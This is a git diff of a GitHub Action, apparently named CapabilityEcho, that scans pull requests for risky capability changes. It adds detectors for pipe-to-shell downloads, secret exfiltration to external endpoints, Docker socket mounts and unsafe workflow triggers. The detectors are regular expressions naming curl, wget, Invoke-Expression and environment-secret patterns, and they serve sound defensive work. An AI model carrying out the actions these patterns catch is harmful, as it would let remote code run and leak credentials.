diff --git a/action.yml b/action.yml index 8160e27..582e5f5 100644 --- a/action.yml +++ b/action.yml @@ -20,17 +20,33 @@ inputs: required: false default: '' fail-on: - description: Severity that fails the action. Use none, low, medium, high, or critical. + description: Severity that fails the action. Use none, low, medium, high, or critical. Case-insensitive. required: false default: none outputs: rating: description: Highest CapabilityEcho capability drift rating. + has-findings: + description: Whether CapabilityEcho found at least one capability drift finding. finding-count: description: Total CapabilityEcho findings in the diff. changed-file-count: description: Number of changed scannable files in the diff. + surface-summary: + description: JSON object with finding counts by executable surface. + severity-summary: + description: JSON object with finding counts by severity. + capability-summary: + description: JSON array of human-readable capability signal labels found in the diff. + top-recommendations: + description: JSON array of the highest-priority recommendations for the diff. + adoption-evidence: + description: Redacted JSON rollup for sharing in team feedback; excludes file paths and raw findings. + report-markdown: + description: Full Markdown CapabilityEcho report, suitable for PR comments or downstream archival. + report-json: + description: Full JSON CapabilityEcho report, suitable for local artifacts, dashboards, or downstream policy tooling. runs: using: node24 diff --git a/dist/action.js b/dist/action.js index ee3bd74..6ce8cfb 100644 --- a/dist/action.js +++ b/dist/action.js @@ -1,5 +1,6 @@ import { appendFile, readFile } from 'node:fs/promises'; import { runCapabilityDiff } from './diff.js'; +import { GitDiffSetupError } from './git-diff.js'; import { renderReport } from './report.js'; const severityRank = { none: 0, @@ -13,23 +14,53 @@ export async function mainAction(env = process.env) { const event = await readEvent(env); const base = getInput(env, 'base') || getDefaultBase(env, event); const head = getInput(env, 'head') || getDefaultHead(env, event); - const failOn = getInput(env, 'fail-on') || 'none'; + const failOnInput = getInput(env, 'fail-on') || 'none'; + const failOn = failOnInput.toLowerCase(); if (!base || !head) { writeError('CapabilityEcho needs base and head refs. Pass base/head inputs or run on pull_request with actions/checkout fetch-depth: 0.'); return 2; } if (!isRating(failOn)) { - writeError(`Invalid fail-on value '${failOn}'. Use none, low, medium, high, or critical.`); + writeError(`Invalid fail-on value '${failOnInput}'. Use none, low, medium, high, or critical.`); return 2; } - const report = await runCapabilityDiff({ mode: 'git', repo, base, head }); + let report; + try { + report = await runCapabilityDiff({ mode: 'git', repo, base, head }); + } + catch (error) { + if (error instanceof GitDiffSetupError) { + writeError(`CapabilityEcho could not compare base '${error.base}' and head '${error.head}'. Ensure actions/checkout uses fetch-depth: 0, or pass refs that exist in the checkout through the \`base\` and \`head\` inputs.`); + return 2; + } + throw error; + } const markdown = renderReport(report, 'markdown'); + const json = renderReport(report, 'json'); + const adoptionEvidence = JSON.stringify({ + rating: report.rating, + hasFindings: report.findingCount > 0, + findingCount: report.findingCount, + changedFileCount: report.changedFileCount, + surfaceSummary: report.surfaceSummary, + severitySummary: report.severitySummary, + capabilitySummary: report.capabilitySummary, + topRecommendations: report.topRecommendations + }); process.stdout.write(markdown); process.stdout.write(renderReport(report, 'github')); await appendIfSet(env.GITHUB_STEP_SUMMARY, markdown); await writeOutput(env, 'rating', report.rating); + await writeOutput(env, 'has-findings', String(report.findingCount > 0)); await writeOutput(env, 'finding-count', String(report.findingCount)); await writeOutput(env, 'changed-file-count', String(report.changedFileCount)); + await writeOutput(env, 'surface-summary', JSON.stringify(report.surfaceSummary)); + await writeOutput(env, 'severity-summary', JSON.stringify(report.severitySummary)); + await writeOutput(env, 'capability-summary', JSON.stringify(report.capabilitySummary)); + await writeOutput(env, 'top-recommendations', JSON.stringify(report.topRecommendations)); + await writeOutput(env, 'adoption-evidence', adoptionEvidence); + await writeOutput(env, 'report-markdown', markdown); + await writeOutput(env, 'report-json', json); if (severityRank[failOn] > 0 && severityRank[report.rating] >= severityRank[failOn]) { writeError(`CapabilityEcho capability drift rating ${report.rating} meets fail-on threshold ${failOn}.`); return 1; @@ -78,8 +109,24 @@ async function writeOutput(env, name, value) { if (!env.GITHUB_OUTPUT) { return; } + if (value.includes('\n') || value.includes('\r')) { + const delimiter = outputDelimiter(name, value); + const normalizedValue = value.endsWith('\n') ? value : `${value}\n`; + await appendFile(env.GITHUB_OUTPUT, `${name}<<${delimiter}\n${normalizedValue}${delimiter}\n`, 'utf8'); + return; + } await appendFile(env.GITHUB_OUTPUT, `${name}=${value}\n`, 'utf8'); } +function outputDelimiter(name, value) { + const normalizedName = name.replace(/[^A-Za-z0-9_]+/g, '_'); + let delimiter = `capabilityecho_${normalizedName}_EOF`; + let suffix = 1; + while (value.includes(delimiter)) { + delimiter = `capabilityecho_${normalizedName}_EOF_${suffix}`; + suffix += 1; + } + return delimiter; +} async function appendIfSet(path, content) { if (!path) { return; diff --git a/dist/detectors/dockerfile-capability.js b/dist/detectors/dockerfile-capability.js new file mode 100644 index 0000000..e7f7c94 --- /dev/null +++ b/dist/detectors/dockerfile-capability.js @@ -0,0 +1,46 @@ +import { isCommentLine, isDockerfile } from '../paths.js'; +export function detectDockerfileCapability(lines) { + const findings = []; + for (const added of lines) { + if (!isDockerfile(added.file) || isCommentLine(added.content)) { + continue; + } + findings.push(...detectRemoteAdd(added)); + findings.push(...detectPipeToShell(added)); + } + return findings; +} +function detectRemoteAdd(added) { + if (!/^\s*ADD\s+https?:\/\//i.test(added.content)) { + return []; + } + return [ + { + kind: 'dockerfile_remote_add', + surface: 'container', + severity: 'high', + file: added.file, + line: added.line, + subject: 'Dockerfile remote ADD', + message: 'Dockerfile adds remote content during image build, expanding build-time network reach.', + recommendation: 'Download pinned artifacts with checksum verification, or vendor reviewed files into the repository.' + } + ]; +} +function detectPipeToShell(added) { + if (!/^\s*RUN\b.*(?:curl|wget)[^\n|]*https?:\/\/[^\n|]*\|\s*(?:ba)?sh\b/i.test(added.content)) { + return []; + } + return [ + { + kind: 'dockerfile_pipe_to_shell', + surface: 'container', + severity: 'critical', + file: added.file, + line: added.line, + subject: 'Dockerfile pipe-to-shell', + message: 'Dockerfile downloads remote content and pipes it directly to a shell during image build.', + recommendation: 'Replace remote pipe-to-shell with pinned, reviewable build steps and checksum verification.' + } + ]; +} diff --git a/dist/detectors/js-capability.js b/dist/detectors/js-capability.js index 02c5181..95fb5e4 100644 --- a/dist/detectors/js-capability.js +++ b/dist/detectors/js-capability.js @@ -1,17 +1,46 @@ import { isCommentLine, isJsFile, isTestFile } from '../paths.js'; -export function detectJsCapability(lines) { +export function detectJsCapability(lines, newFileContents = {}) { const findings = []; + const secretVarsByFile = collectSecretVariables(lines, newFileContents); for (const added of lines) { if (!isJsFile(added.file) || isCommentLine(added.content)) { continue; } const testFile = isTestFile(added.file); findings.push(...detectFetch(added, testFile)); + findings.push(...detectSecretExfil(added, testFile, secretVarsByFile.get(added.file) ?? new Set())); findings.push(...detectSubprocess(added, testFile)); findings.push(...detectDynamicEval(added, testFile)); } return findings; } +function collectSecretVariables(lines, newFileContents) { + const varsByFile = new Map(); + for (const added of lines) { + if (!isJsFile(added.file)) { + continue; + } + addSecretVariable(varsByFile, added.file, added.content); + } + for (const [file, content] of Object.entries(newFileContents)) { + if (!isJsFile(file)) { + continue; + } + for (const line of content.split(/\r?\n/)) { + addSecretVariable(varsByFile, file, line); + } + } + return varsByFile; +} +function addSecretVariable(varsByFile, file, content) { + const match = content.match(/\b(?:const|let|var)\s+([A-Za-z_$][\w$]*)\s*=\s*process\.env\.[A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*\b/i); + if (!match) { + return; + } + const vars = varsByFile.get(file) ?? new Set(); + vars.add(match[1]); + varsByFile.set(file, vars); +} function detectFetch(added, testFile) { if (!/(?:fetch\s*\(|axios\.(?:get|post|put|delete|patch|request)\s*\(|got\s*\()/i.test(added.content)) { return []; @@ -25,6 +54,7 @@ function detectFetch(added, testFile) { return [ { kind: 'external_fetch_added', + surface: 'source', severity: testFile ? 'low' : 'medium', file: added.file, line: added.line, @@ -34,6 +64,37 @@ function detectFetch(added, testFile) { } ]; } +function detectSecretExfil(added, testFile, secretVariables) { + if (!isExternalHttpRequest(added.content) || + (!referencesEnvSecret(added.content) && !referencesSecretVariable(added.content, secretVariables))) { + return []; + } + return [ + { + kind: 'source_secret_exfil_pattern', + surface: 'source', + severity: testFile ? 'medium' : 'high', + file: added.file, + line: added.line, + subject: 'Source secret exfiltration pattern', + message: 'Added source code sends environment-secret-shaped data to an external endpoint.', + recommendation: 'Do not send env secrets to external services unless the endpoint and payload are explicitly required.' + } + ]; +} +function isExternalHttpRequest(content) { + return (/(?:fetch\s*\(|axios\.(?:get|post|put|delete|patch|request)\s*\(|got\s*\()/i.test(content) && + /(?:https?:\/\/|['"]https?:\/\/)/i.test(content)); +} +function referencesEnvSecret(content) { + return /\bprocess\.env\.[A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*\b/i.test(content); +} +function referencesSecretVariable(content, secretVariables) { + return [...secretVariables].some((name) => new RegExp(String.raw `\b${escapeRegExp(name)}\b`).test(content)); +} +function escapeRegExp(value) { + return value.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'); +} function detectSubprocess(added, testFile) { if (!/(?:child_process|execSync\s*\(|exec\s*\(|spawnSync\s*\(|spawn\s*\(|Bun\.spawn\s*\()/i.test(added.content)) { return []; @@ -41,6 +102,7 @@ function detectSubprocess(added, testFile) { return [ { kind: 'subprocess_spawn_added', + surface: 'source', severity: testFile ? 'low' : 'high', file: added.file, line: added.line, @@ -57,6 +119,7 @@ function detectDynamicEval(added, testFile) { return [ { kind: 'dynamic_eval_added', + surface: 'source', severity: testFile ? 'medium' : 'critical', file: added.file, line: added.line, diff --git a/dist/detectors/package-deps.js b/dist/detectors/package-deps.js index 8cf417b..3028a43 100644 --- a/dist/detectors/package-deps.js +++ b/dist/detectors/package-deps.js @@ -51,6 +51,7 @@ function compareDeps(file, oldText, newText) { if (HIGH_CAPABILITY_DEPS.has(name)) { findings.push({ kind: 'high_capability_dep_added', + surface: 'package', severity: 'high', file, line: lineOfJsonStringValue(newText, version) ?? lineOfJsonKey(newText, name), @@ -63,6 +64,7 @@ function compareDeps(file, oldText, newText) { if (TELEMETRY_DEPS.has(name)) { findings.push({ kind: 'telemetry_dep_added', + surface: 'package', severity: 'medium', file, line: lineOfJsonStringValue(newText, version) ?? lineOfJsonKey(newText, name), diff --git a/dist/detectors/package-scripts.js b/dist/detectors/package-scripts.js index fc51bae..e052a93 100644 --- a/dist/detectors/package-scripts.js +++ b/dist/detectors/package-scripts.js @@ -1,6 +1,7 @@ import { readFile } from 'node:fs/promises'; import { configPath, isRecord, lineOfJsonKey, lineOfJsonStringValue } from '../discovery.js'; -import { listPackageJsonFiles, readFileAtGitRef } from '../git-diff.js'; +import { listGitChangedFiles, listPackageJsonFiles, readFileAtGitRef } from '../git-diff.js'; +import { isPackageJsonFile } from '../paths.js'; const LIFECYCLE_KEYS = ['postinstall', 'preinstall', 'prepare', 'install']; export async function detectPackageScripts(mode) { const packageFiles = mode.mode === 'directories' @@ -16,16 +17,7 @@ export async function detectPackageScripts(mode) { return findings; } export async function listChangedPackageJsonFiles(repo, base, head) { - const all = await listPackageJsonFiles(repo); - const changed = []; - for (const file of all) { - const oldText = await readFileAtGitRef(repo, base, file); - const newText = await readFileAtGitRef(repo, head, file); - if (oldText !== newText) { - changed.push(file); - } - } - return changed; + return (await listGitChangedFiles(repo, base, head)).filter(isPackageJsonFile); } async function readScriptsAt(mode, file, side) { const text = await readPackageTextAt(mode, file, side); @@ -76,6 +68,7 @@ function compareScripts(file, oldScripts, newScripts, newText) { const line = lineOfJsonKey(newText, key) ?? lineOfJsonStringValue(newText, newValue); findings.push({ kind: 'lifecycle_script_added', + surface: 'package', severity: 'high', file, line, @@ -103,6 +96,7 @@ function analyzeScriptContent(file, key, script, newText) { if (/(?:curl[^\n|]*\|\s*(?:ba)?sh|wget[^\n|]*\|\s*sh|Invoke-Expression|iex\s*\()/i.test(script)) { findings.push({ kind: 'script_pipe_to_shell', + surface: 'package', severity: 'critical', file, line, @@ -114,6 +108,7 @@ function analyzeScriptContent(file, key, script, newText) { if (/\b(curl|wget|npm publish)\b/i.test(script) || /\bnpx\b(?![^\s]*@\d+\.\d+\.\d+)/i.test(script)) { findings.push({ kind: 'script_network_command', + surface: 'package', severity: 'medium', file, line, diff --git a/dist/detectors/py-capability.js b/dist/detectors/py-capability.js index d943417..2e96e4a 100644 --- a/dist/detectors/py-capability.js +++ b/dist/detectors/py-capability.js @@ -4,20 +4,49 @@ import { isCommentLine, isPyFile, isTestFile } from '../paths.js'; // reach by adding a `requests.post`, a `subprocess.Popen`, or an `eval` // without ever touching .mcp.json or .claude/settings.json. These are // the same shapes detect-js-capability flags for the JS world. -export function detectPyCapability(lines) { +export function detectPyCapability(lines, newFileContents = {}) { const findings = []; + const secretVarsByFile = collectSecretVariables(lines, newFileContents); for (const added of lines) { if (!isPyFile(added.file) || isCommentLine(added.content)) { continue; } const testFile = isTestFile(added.file); findings.push(...detectPyNetwork(added, testFile)); + findings.push(...detectPySecretExfil(added, testFile, secretVarsByFile.get(added.file) ?? new Set())); findings.push(...detectPySubprocess(added, testFile)); findings.push(...detectPyDynamicExec(added, testFile)); findings.push(...detectPyUnsafeDeserialize(added, testFile)); } return findings; } +function collectSecretVariables(lines, newFileContents) { + const varsByFile = new Map(); + for (const added of lines) { + if (!isPyFile(added.file)) { + continue; + } + addSecretVariable(varsByFile, added.file, added.content); + } + for (const [file, content] of Object.entries(newFileContents)) { + if (!isPyFile(file)) { + continue; + } + for (const line of content.split(/\r?\n/)) { + addSecretVariable(varsByFile, file, line); + } + } + return varsByFile; +} +function addSecretVariable(varsByFile, file, content) { + const match = content.match(/^\s*([A-Za-z_][A-Za-z0-9_]*)\s*=\s*(?:os\.environ\s*(?:\[\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"]\s*\]|\.get\s*\(\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"])|os\.getenv\s*\(\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"])/i); + if (!match) { + return; + } + const vars = varsByFile.get(file) ?? new Set(); + vars.add(match[1]); + varsByFile.set(file, vars); +} function detectPyNetwork(added, testFile) { // Common network entry points across requests, httpx, aiohttp, and the // urllib family (including the Python 2 legacy `urllib2` that still @@ -35,6 +64,7 @@ function detectPyNetwork(added, testFile) { return [ { kind: 'external_fetch_added', + surface: 'source', severity: testFile ? 'low' : 'medium', file: added.file, line: added.line, @@ -44,6 +74,38 @@ function detectPyNetwork(added, testFile) { } ]; } +function detectPySecretExfil(added, testFile, secretVariables) { + if (!isPyExternalRequest(added.content) || + (!referencesPyEnvSecret(added.content) && !referencesSecretVariable(added.content, secretVariables))) { + return []; + } + return [ + { + kind: 'source_secret_exfil_pattern', + surface: 'source', + severity: testFile ? 'medium' : 'high', + file: added.file, + line: added.line, + subject: 'Source secret exfiltration pattern (Python)', + message: 'Added Python sends environment-secret-shaped data to an external endpoint.', + recommendation: 'Do not send env secrets to external services unless the endpoint and payload are explicitly required.' + } + ]; +} +function isPyExternalRequest(content) { + return (/\b(?:requests|httpx)\.(?:get|post|put|delete|patch|head|options|request)\s*\(|\burllib(?:2)?\.(?:request\.)?urlopen\s*\(|\burlopen\s*\(|\burllib\.request\.urlretrieve\s*\(|\baiohttp\.ClientSession\s*\(/i.test(content) && + /(?:https?:\/\/|['"]https?:\/\/)/i.test(content)); +} +function referencesPyEnvSecret(content) { + return (/\bos\.environ\s*(?:\[\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"]\s*\]|\.get\s*\(\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"])/i.test(content) || + /\bos\.getenv\s*\(\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"]/i.test(content)); +} +function referencesSecretVariable(content, secretVariables) { + return [...secretVariables].some((name) => new RegExp(String.raw `\b${escapeRegExp(name)}\b`).test(content)); +} +function escapeRegExp(value) { + return value.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'); +} function detectPySubprocess(added, testFile) { // Subprocess and shell-execution surfaces. `commands.getoutput` is the // Python 2 legacy still seen in older agent-generated code. @@ -54,6 +116,7 @@ function detectPySubprocess(added, testFile) { return [ { kind: 'subprocess_spawn_added', + surface: 'source', severity: testFile ? 'low' : 'high', file: added.file, line: added.line, @@ -74,6 +137,7 @@ function detectPyDynamicExec(added, testFile) { return [ { kind: 'dynamic_eval_added', + surface: 'source', severity: testFile ? 'medium' : 'critical', file: added.file, line: added.line, @@ -94,6 +158,7 @@ function detectPyUnsafeDeserialize(added, testFile) { return [ { kind: 'unsafe_deserialize_added', + surface: 'source', severity: testFile ? 'medium' : 'critical', file: added.file, line: added.line, diff --git a/dist/detectors/shell-capability.js b/dist/detectors/shell-capability.js new file mode 100644 index 0000000..85815b7 --- /dev/null +++ b/dist/detectors/shell-capability.js @@ -0,0 +1,46 @@ +import { isCommentLine, isShellFile } from '../paths.js'; +export function detectShellCapability(lines) { + const findings = []; + for (const added of lines) { + if (!isShellFile(added.file) || isCommentLine(added.content)) { + continue; + } + findings.push(...detectPipeToShell(added)); + findings.push(...detectExternalDownload(added)); + } + return findings; +} +function detectPipeToShell(added) { + if (!/(?:curl|wget|Invoke-WebRequest|iwr)[^\n|]*https?:\/\/[^\n|]*\|\s*(?:ba)?sh\b|iex\s*\(|Invoke-Expression/i.test(added.content)) { + return []; + } + return [ + { + kind: 'shell_pipe_to_shell', + surface: 'source', + severity: 'critical', + file: added.file, + line: added.line, + subject: 'Shell remote pipe-to-shell', + message: 'Added shell script downloads remote content and pipes it directly to a shell.', + recommendation: 'Replace remote pipe-to-shell with pinned, reviewable install steps.' + } + ]; +} +function detectExternalDownload(added) { + if (!/\b(curl|wget|Invoke-WebRequest|iwr)\b[^\n]*https?:\/\//i.test(added.content)) { + return []; + } + return [ + { + kind: 'shell_external_download', + surface: 'source', + severity: 'medium', + file: added.file, + line: added.line, + subject: 'Shell external download', + message: 'Added shell script downloads content from an external URL.', + recommendation: 'Verify the URL, checksum or signature, and whether the download belongs in this change.' + } + ]; +} diff --git a/dist/detectors/workflow-permissions.js b/dist/detectors/workflow-permissions.js index 6185c57..b7fd808 100644 --- a/dist/detectors/workflow-permissions.js +++ b/dist/detectors/workflow-permissions.js @@ -1,25 +1,67 @@ import { isWorkflowFile } from '../paths.js'; -export function detectWorkflowPermissions(lines) { +const githubTokenWritePermissionPattern = /^\s*(?:actions|artifact-metadata|attestations|checks|code-quality|contents|deployments|discussions|id-token|issues|packages|pages|pull-requests|security-events|statuses)\s*:\s*write\b/i; +export function detectWorkflowPermissions(lines, newFileContents = {}) { const findings = []; + const pullRequestTargetFiles = new Set(lines.filter((line) => isWorkflowFile(line.file) && isPullRequestTargetLine(line.content)).map((line) => line.file)); + const secretEnvVarsByFile = collectSecretEnvVars(lines, newFileContents); + for (const [file, content] of Object.entries(newFileContents)) { + if (isWorkflowFile(file) && hasPullRequestTargetWorkflow(content)) { + pullRequestTargetFiles.add(file); + } + } for (const added of lines) { if (!isWorkflowFile(added.file)) { continue; } + findings.push(...detectPullRequestTarget(added)); + findings.push(...detectPullRequestHeadCheckoutOnTarget(added, pullRequestTargetFiles.has(added.file))); + findings.push(...detectSelfHostedRunner(added)); + findings.push(...detectMutableActionRef(added)); findings.push(...detectWritePermissions(added)); findings.push(...detectExternalCurl(added)); - findings.push(...detectSecretExfil(added)); + findings.push(...detectSecretsInherit(added)); + findings.push(...detectSecretExfil(added, secretEnvVarsByFile.get(added.file) ?? new Set())); + findings.push(...detectDockerHostControl(added)); } return findings; } +function collectSecretEnvVars(lines, newFileContents) { + const varsByFile = new Map(); + for (const added of lines) { + if (!isWorkflowFile(added.file)) { + continue; + } + addSecretEnvVar(varsByFile, added.file, added.content); + } + for (const [file, content] of Object.entries(newFileContents)) { + if (!isWorkflowFile(file)) { + continue; + } + for (const line of content.split(/\r?\n/)) { + addSecretEnvVar(varsByFile, file, line); + } + } + return varsByFile; +} +function addSecretEnvVar(varsByFile, file, content) { + const match = content.match(/^\s*([A-Z_][A-Z0-9_]*)\s*:\s*.*\$\{\{\s*secrets\./i); + if (!match) { + return; + } + const vars = varsByFile.get(file) ?? new Set(); + vars.add(match[1]); + varsByFile.set(file, vars); +} function detectWritePermissions(added) { const content = added.content; - if (!/permissions\s*:/i.test(content) && !/\b(contents|packages|id-token)\s*:\s*write\b/i.test(content)) { + if (!/permissions\s*:/i.test(content) && !githubTokenWritePermissionPattern.test(content)) { return []; } - if (/\b(contents|packages|id-token)\s*:\s*write\b/i.test(content)) { + if (githubTokenWritePermissionPattern.test(content)) { return [ { kind: 'workflow_permission_write', + surface: 'workflow', severity: 'high', file: added.file, line: added.line, @@ -29,10 +71,11 @@ function detectWritePermissions(added) { } ]; } - if (/\bpermissions\s*:\s*(write|admin)\b/i.test(content)) { + if (/^\s*permissions\s*:\s*(?:write|write-all|admin)\b/i.test(content)) { return [ { kind: 'workflow_permission_write', + surface: 'workflow', severity: 'high', file: added.file, line: added.line, @@ -44,6 +87,102 @@ function detectWritePermissions(added) { } return []; } +function detectPullRequestTarget(added) { + if (!isPullRequestTargetLine(added.content)) { + return []; + } + return [ + { + kind: 'workflow_pull_request_target', + surface: 'workflow', + severity: 'high', + file: added.file, + line: added.line, + subject: 'GitHub Actions pull_request_target trigger', + message: 'Workflow runs on pull_request_target, which can expose elevated token or secret context to PR-triggered automation.', + recommendation: 'Use pull_request unless elevated base-repository context is required; never run untrusted PR code with pull_request_target privileges.' + } + ]; +} +function detectPullRequestHeadCheckoutOnTarget(added, hasPullRequestTarget) { + if (!hasPullRequestTarget || !isPullRequestHeadCheckoutLine(added.content)) { + return []; + } + return [ + { + kind: 'workflow_pr_head_checkout_on_target', + surface: 'workflow', + severity: 'high', + file: added.file, + line: added.line, + subject: 'GitHub Actions PR-head checkout under pull_request_target', + message: 'Workflow checks out pull request head code in a pull_request_target workflow.', + recommendation: 'Use pull_request for untrusted PR code, or avoid checking out PR head code under pull_request_target.' + } + ]; +} +function isPullRequestTargetLine(content) { + return /^\s*pull_request_target\s*:/i.test(content); +} +function hasPullRequestTargetWorkflow(content) { + return content.split(/\r?\n/).some(isPullRequestTargetLine); +} +function isPullRequestHeadCheckoutLine(content) { + return /^\s*(?:ref|repository)\s*:\s*.*github\.event\.pull_request\.head\.(?:sha|ref|repo\.full_name)/i.test(content); +} +function detectSelfHostedRunner(added) { + if (!/^\s*runs-on\s*:\s*(?:.*\bself-hosted\b|.*\[\s*self-hosted\b)/i.test(added.content) && + !/^\s*-\s*self-hosted\s*(?:#.*)?$/i.test(added.content)) { + return []; + } + return [ + { + kind: 'workflow_self_hosted_runner', + surface: 'workflow', + severity: 'high', + file: added.file, + line: added.line, + subject: 'GitHub Actions self-hosted runner', + message: 'Workflow runs on a self-hosted runner, which can expand PR-triggered automation into private infrastructure.', + recommendation: 'Use GitHub-hosted runners for untrusted PR code, or isolate self-hosted runners with strict labels, permissions, and cleanup.' + } + ]; +} +function detectMutableActionRef(added) { + const actionRef = extractWorkflowUsesRef(added.content); + if (!actionRef || isLocalActionRef(actionRef) || /^docker:\/\//i.test(actionRef)) { + return []; + } + const refSeparatorIndex = actionRef.lastIndexOf('@'); + if (refSeparatorIndex === -1) { + return []; + } + const versionRef = actionRef.slice(refSeparatorIndex + 1); + if (!isMutableActionVersionRef(versionRef)) { + return []; + } + return [ + { + kind: 'workflow_mutable_action_ref', + surface: 'workflow', + severity: 'medium', + file: added.file, + line: added.line, + subject: 'GitHub Actions mutable action reference', + message: 'Workflow uses a mutable remote action reference.', + recommendation: 'Pin third-party actions to a reviewed commit SHA before merge.' + } + ]; +} +function extractWorkflowUsesRef(content) { + return content.match(/^\s*(?:-\s*)?uses\s*:\s*['"]?([^'"\s#]+)['"]?/i)?.[1]; +} +function isLocalActionRef(actionRef) { + return actionRef.startsWith('./') || actionRef.startsWith('../') || actionRef.startsWith('/'); +} +function isMutableActionVersionRef(versionRef) { + return /^(main|master|trunk|develop|dev|latest|head)$/i.test(versionRef); +} function detectExternalCurl(added) { if (!/\b(curl|wget|Invoke-WebRequest|fetch\s*\()/i.test(added.content)) { return []; @@ -51,6 +190,7 @@ function detectExternalCurl(added) { return [ { kind: 'workflow_external_curl', + surface: 'workflow', severity: 'medium', file: added.file, line: added.line, @@ -60,9 +200,27 @@ function detectExternalCurl(added) { } ]; } -function detectSecretExfil(added) { +function detectSecretsInherit(added) { + if (!/^\s*secrets\s*:\s*inherit\s*(?:#.*)?$/i.test(added.content)) { + return []; + } + return [ + { + kind: 'workflow_secrets_inherit', + surface: 'workflow', + severity: 'high', + file: added.file, + line: added.line, + subject: 'GitHub Actions inherited secrets', + message: 'Workflow passes all caller secrets to a reusable workflow.', + recommendation: 'Pass only explicit secrets required by the reusable workflow.' + } + ]; +} +function detectSecretExfil(added, secretEnvVars) { const content = added.content; - const hasSecretRef = /\$\{\{\s*secrets\.|\$\{?\s*secrets\.|env\.[A-Z0-9_]+/i.test(content); + const hasSecretRef = /\$\{\{\s*secrets\.|\$\{?\s*secrets\.|env\.[A-Z0-9_]+/i.test(content) || + [...secretEnvVars].some((name) => referencesShellVariable(content, name)); const hasNetwork = /\b(curl|wget|Invoke-WebRequest|fetch\s*\()/i.test(content); const hasPipe = /\|\s*(bash|sh|powershell|pwsh)/i.test(content); if (!hasSecretRef || !hasNetwork) { @@ -71,6 +229,7 @@ function detectSecretExfil(added) { return [ { kind: 'workflow_secret_exfil_pattern', + surface: 'workflow', severity: 'high', file: added.file, line: added.line, @@ -80,3 +239,39 @@ function detectSecretExfil(added) { } ]; } +function referencesShellVariable(content, name) { + const escapedName = escapeRegExp(name); + return new RegExp(String.raw `(?:\$\{${escapedName}\}|\$${escapedName}\b|%${escapedName}%)`).test(content); +} +function escapeRegExp(value) { + return value.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'); +} +function detectDockerHostControl(added) { + const findings = []; + const content = added.content; + if (/\/var\/run\/docker\.sock(?::\/var\/run\/docker\.sock)?/i.test(content)) { + findings.push({ + kind: 'workflow_docker_socket_mount', + surface: 'workflow', + severity: 'critical', + file: added.file, + line: added.line, + subject: 'Workflow Docker socket mount', + message: 'Workflow mounts the host Docker socket, which can grant control over the runner host.', + recommendation: 'Avoid Docker socket mounts in CI unless the job is isolated and the image/commands are trusted.' + }); + } + if (/\bdocker\s+run\b.*\s--privileged(?:\s|$)/i.test(content)) { + findings.push({ + kind: 'workflow_privileged_container', + surface: 'workflow', + severity: 'high', + file: added.file, + line: added.line, + subject: 'Workflow privileged container', + message: 'Workflow runs a privileged container, expanding kernel and device-level access in CI.', + recommendation: 'Use the narrowest container privileges required, and avoid privileged mode for agent-run code.' + }); + } + return findings; +} diff --git a/dist/diff.js b/dist/diff.js index 5e689ff..7c6649c 100644 --- a/dist/diff.js +++ b/dist/diff.js @@ -1,7 +1,9 @@ +import { detectDockerfileCapability } from './detectors/dockerfile-capability.js'; import { detectJsCapability } from './detectors/js-capability.js'; import { detectPackageDeps } from './detectors/package-deps.js'; import { detectPackageScripts } from './detectors/package-scripts.js'; import { detectPyCapability } from './detectors/py-capability.js'; +import { detectShellCapability } from './detectors/shell-capability.js'; import { detectWorkflowPermissions } from './detectors/workflow-permissions.js'; import { collectDirectoryDiff, collectGitDiff } from './git-diff.js'; import { createReport } from './report.js'; @@ -17,9 +19,11 @@ export async function runCapabilityDiff(options) { detectPackageDeps(packageMode) ]); const findings = [ - ...detectWorkflowPermissions(context.addedLines), - ...detectJsCapability(context.addedLines), - ...detectPyCapability(context.addedLines), + ...detectWorkflowPermissions(context.addedLines, context.newFileContents), + ...detectDockerfileCapability(context.addedLines), + ...detectJsCapability(context.addedLines, context.newFileContents), + ...detectPyCapability(context.addedLines, context.newFileContents), + ...detectShellCapability(context.addedLines), ...scriptFindings, ...depFindings ]; diff --git a/dist/git-diff.js b/dist/git-diff.js index ff01944..92066fc 100644 --- a/dist/git-diff.js +++ b/dist/git-diff.js @@ -2,20 +2,35 @@ import { execFile } from 'node:child_process'; import { readdir, readFile } from 'node:fs/promises'; import { join, relative } from 'node:path'; import { promisify } from 'node:util'; -import { isScannable } from './paths.js'; +import { isScannable, surfaceForPath } from './paths.js'; const execFileAsync = promisify(execFile); +const SURFACE_ORDER = ['source', 'package', 'workflow', 'container']; +export class GitDiffSetupError extends Error { + base; + head; + constructor(message, base, head) { + super(message); + this.base = base; + this.head = head; + this.name = 'GitDiffSetupError'; + } +} export async function collectDirectoryDiff(oldRoot, newRoot) { const changedFiles = await listScannableFiles(newRoot); const addedLines = []; + const changedScannableFiles = new Set(); + const newFileContents = {}; for (const file of changedFiles) { const oldPath = join(oldRoot, file); const newPath = join(newRoot, file); + const newContent = await readFile(newPath, 'utf8'); const patch = await runGitNoIndexDiff(oldPath, newPath); if (patch.trim()) { + changedScannableFiles.add(file); + newFileContents[file] = newContent; addedLines.push(...parseUnifiedDiff(patch, file)); continue; } - const newContent = await readFile(newPath, 'utf8'); let oldContent = ''; try { oldContent = await readFile(oldPath, 'utf8'); @@ -26,30 +41,40 @@ export async function collectDirectoryDiff(oldRoot, newRoot) { if (oldContent === newContent) { continue; } + changedScannableFiles.add(file); + newFileContents[file] = newContent; if (!oldContent) { addedLines.push(...allLinesAsAdded(file, newContent)); } } return { addedLines, - changedFileCount: countChangedFiles(addedLines) + changedFileCount: changedScannableFiles.size, + scannedSurfaces: surfacesForFiles([...changedScannableFiles]), + 